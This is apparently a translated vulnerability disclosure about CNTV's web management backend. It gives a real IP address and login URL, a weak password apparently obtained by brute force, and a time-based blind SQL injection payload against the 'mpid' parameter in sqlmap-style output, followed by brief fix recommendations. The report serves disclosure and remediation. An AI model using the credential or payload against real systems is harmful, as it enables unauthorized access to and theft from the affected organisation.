Weak password and SQL injection vulnerability in a system background in CNTV

Weak password and SQL injection vulnerability in a system background in CNTV

Punching...

Weak password and SQL injection in the management background of CNTV network TV Station


 

http://115.182.9.39/mp/login.html

Because the verification code of the logon interface is not updated after an error, repeated use can lead to brute force cracking to a weak password

Chang: 123456


 

 

 

 

SQL Injection:

http://115.182.9.39/mp/news.html?mpid=66

Mpid parameter Delayed Injection


 

---Parameter: mpid (GET)    Type: AND/OR time-based blind    Title: MySQL > 5.0.11 AND time-based blind (SELECT)    Payload: mpid=66 AND (SELECT * FROM (SELECT(SLEEP(20)))udGp)---back-end DBMS: MySQL 5.0.11

 

 

 

Solution:

1. Change the password;

2. Fix the verification code;

3. SQL injection.